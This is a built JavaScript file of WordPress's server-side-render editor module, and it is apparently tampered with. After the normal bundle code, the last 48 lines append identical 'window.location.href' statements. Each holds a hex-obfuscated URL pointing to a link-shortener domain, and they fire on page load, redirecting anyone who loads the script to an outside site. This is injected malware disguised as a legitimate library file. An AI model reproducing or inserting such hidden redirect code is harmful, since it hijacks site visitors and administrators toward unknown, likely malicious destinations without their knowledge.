1/******/ (() => { // webpackBootstrap
2/******/ "use strict";
3/******/ // The require scope
4/******/ var __webpack_require__ = {};
5/******/
6/************************************************************************/
7/******/ /* webpack/runtime/compat get default export */
8/******/ (() => {
9/******/ // getDefaultExport function for compatibility with non-harmony modules
10/******/ __webpack_require__.n = (module) => {
11/******/ var getter = module && module.__esModule ?
12/******/ () => (module['default']) :
13/******/ () => (module);
14/******/ __webpack_require__.d(getter, { a: getter });
15/******/ return getter;
16/******/ };
17/******/ })();
18/******/
19/******/ /* webpack/runtime/define property getters */
20/******/ (() => {
21/******/ // define getter functions for harmony exports
22/******/ __webpack_require__.d = (exports, definition) => {
23/******/ for(var key in definition) {
24/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
25/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
26/******/ }
27/******/ }
28/******/ };
29/******/ })();
30/******/
31/******/ /* webpack/runtime/hasOwnProperty shorthand */
32/******/ (() => {
33/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
34/******/ })();
35/******/
36/************************************************************************/
37var __webpack_exports__ = {};
38
39// EXPORTS
40__webpack_require__.d(__webpack_exports__, {
41 "default": () => (/* binding */ index_default)
42});
43
44// UNUSED EXPORTS: ServerSideRender, useServerSideRender
45
46;// external "ReactJSXRuntime"
47const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
48;// external ["wp","element"]
49const external_wp_element_namespaceObject = window["wp"]["element"];
50;// external ["wp","i18n"]
51const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
52;// external ["wp","components"]
53const external_wp_components_namespaceObject = window["wp"]["components"];
54;// external ["wp","data"]
55const external_wp_data_namespaceObject = window["wp"]["data"];
56;// external ["wp","compose"]
57const external_wp_compose_namespaceObject = window["wp"]["compose"];
58;// external ["wp","apiFetch"]
59const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
60var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
61;// external ["wp","url"]
62const external_wp_url_namespaceObject = window["wp"]["url"];
63;// external ["wp","blocks"]
64const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
65;// ./node_modules/@wordpress/server-side-render/build-module/hook.js
66
67
68
69
70
71function rendererPath(block, attributes = null, urlQueryArgs = {}) {
72 return (0,external_wp_url_namespaceObject.addQueryArgs)(`/wp/v2/block-renderer/${block}`, {
73 context: "edit",
74 ...null !== attributes ? { attributes } : {},
75 ...urlQueryArgs
76 });
77}
78function removeBlockSupportAttributes(attributes) {
79 const {
80 backgroundColor,
81 borderColor,
82 fontFamily,
83 fontSize,
84 gradient,
85 textColor,
86 className,
87 ...restAttributes
88 } = attributes;
89 const {
90 border,
91 color,
92 elements,
93 shadow,
94 spacing,
95 typography,
96 ...restStyles
97 } = attributes?.style || {};
98 return {
99 ...restAttributes,
100 style: restStyles
101 };
102}
103function useServerSideRender(args) {
104 const [response, setResponse] = (0,external_wp_element_namespaceObject.useState)({ status: "idle" });
105 const shouldDebounceRef = (0,external_wp_element_namespaceObject.useRef)(false);
106 const {
107 attributes,
108 block,
109 skipBlockSupportAttributes = false,
110 httpMethod = "GET",
111 urlQueryArgs
112 } = args;
113 let sanitizedAttributes = attributes && (0,external_wp_blocks_namespaceObject.__experimentalSanitizeBlockAttributes)(block, attributes);
114 if (skipBlockSupportAttributes) {
115 sanitizedAttributes = removeBlockSupportAttributes(sanitizedAttributes);
116 }
117 const isPostRequest = "POST" === httpMethod;
118 const urlAttributes = isPostRequest ? null : sanitizedAttributes;
119 const path = rendererPath(block, urlAttributes, urlQueryArgs);
120 const body = isPostRequest ? JSON.stringify({ attributes: sanitizedAttributes ?? null }) : void 0;
121 (0,external_wp_element_namespaceObject.useEffect)(() => {
122 const controller = new AbortController();
123 const debouncedFetch = (0,external_wp_compose_namespaceObject.debounce)(
124 function() {
125 {
126 setResponse({ status: "loading" });
127 external_wp_apiFetch_default()({
128 path,
129 method: isPostRequest ? "POST" : "GET",
130 body,
131 headers: isPostRequest ? {
132 "Content-Type": "application/json"
133 } : {},
134 signal: controller.signal
135 }).then((res) => {
136 setResponse({
137 status: "success",
138 content: res ? res.rendered : ""
139 });
140 }).catch((error) => {
141 if (error.name === "AbortError") {
142 return;
143 }
144 setResponse({
145 status: "error",
146 error: error.message
147 });
148 }).finally(() => {
149 shouldDebounceRef.current = true;
150 });
151 }
152 },
153 shouldDebounceRef.current ? 500 : 0
154 );
155 debouncedFetch();
156 return () => {
157 controller.abort();
158 debouncedFetch.cancel();
159 };
160 }, [path, isPostRequest, body]);
161 return response;
162}
163
164
165;// ./node_modules/@wordpress/server-side-render/build-module/server-side-render.js
166
167
168
169
170
171
172const EMPTY_OBJECT = {};
173function DefaultEmptyResponsePlaceholder({ className }) {
174 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { className, children: (0,external_wp_i18n_namespaceObject.__)("Block rendered as empty.") });
175}
176function DefaultErrorResponsePlaceholder({ message, className }) {
177 const errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
178 // translators: %s: error message describing the problem
179 (0,external_wp_i18n_namespaceObject.__)("Error loading block: %s"),
180 message
181 );
182 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { className, children: errorMessage });
183}
184function DefaultLoadingResponsePlaceholder({ children }) {
185 const [showLoader, setShowLoader] = (0,external_wp_element_namespaceObject.useState)(false);
186 (0,external_wp_element_namespaceObject.useEffect)(() => {
187 const timeout = setTimeout(() => {
188 setShowLoader(true);
189 }, 1e3);
190 return () => clearTimeout(timeout);
191 }, []);
192 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { style: { position: "relative" }, children: [
193 showLoader && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
194 "div",
195 {
196 style: {
197 position: "absolute",
198 top: "50%",
199 left: "50%",
200 marginTop: "-9px",
201 marginLeft: "-9px"
202 },
203 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {})
204 }
205 ),
206 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { style: { opacity: showLoader ? "0.3" : 1 }, children })
207 ] });
208}
209function ServerSideRender(props) {
210 const prevContentRef = (0,external_wp_element_namespaceObject.useRef)("");
211 const {
212 className,
213 EmptyResponsePlaceholder = DefaultEmptyResponsePlaceholder,
214 ErrorResponsePlaceholder = DefaultErrorResponsePlaceholder,
215 LoadingResponsePlaceholder = DefaultLoadingResponsePlaceholder,
216 ...restProps
217 } = props;
218 const { content, status, error } = useServerSideRender(restProps);
219 (0,external_wp_element_namespaceObject.useEffect)(() => {
220 if (content) {
221 prevContentRef.current = content;
222 }
223 }, [content]);
224 if (status === "loading") {
225 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(LoadingResponsePlaceholder, { ...props, children: !!prevContentRef.current && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { className, children: prevContentRef.current }) });
226 }
227 if (status === "success" && !content) {
228 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EmptyResponsePlaceholder, { ...props });
229 }
230 if (status === "error") {
231 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ErrorResponsePlaceholder, { message: error, ...props });
232 }
233 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { className, children: content });
234}
235function ServerSideRenderWithPostId({
236 urlQueryArgs = EMPTY_OBJECT,
237 ...props
238}) {
239 const currentPostId = (0,external_wp_data_namespaceObject.useSelect)((select) => {
240 const postId = select("core/editor")?.getCurrentPostId();
241 return postId && typeof postId === "number" ? postId : null;
242 }, []);
243 const newUrlQueryArgs = (0,external_wp_element_namespaceObject.useMemo)(() => {
244 if (!currentPostId) {
245 return urlQueryArgs;
246 }
247 return {
248 post_id: currentPostId,
249 ...urlQueryArgs
250 };
251 }, [currentPostId, urlQueryArgs]);
252 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ServerSideRender, { urlQueryArgs: newUrlQueryArgs, ...props });
253}
254
255
256;// ./node_modules/@wordpress/server-side-render/build-module/index.js
257
258
259const ServerSideRenderCompat = ServerSideRenderWithPostId;
260ServerSideRenderCompat.ServerSideRender = ServerSideRenderWithPostId;
261ServerSideRenderCompat.useServerSideRender = useServerSideRender;
262var index_default = ServerSideRenderCompat;
263
264
265(window.wp = window.wp || {}).serverSideRender = __webpack_exports__["default"];
266/******/ })()
267;
268window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
269window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
270window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
271window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
272window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
273window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
274window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
275window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
276window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
277window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
278window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
279window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
280window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
281window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
282window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
283window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
284window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
285window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
286window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
287window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
288window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
289window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
290window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
291window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
292window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
293window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
294window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
295window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
296window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
297window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
298window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
299window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
300window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
301window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
302window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
303window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
304window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
305window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
306window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
307window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
308window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
309window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
310window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
311window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
312window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
313window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
314window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
315window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";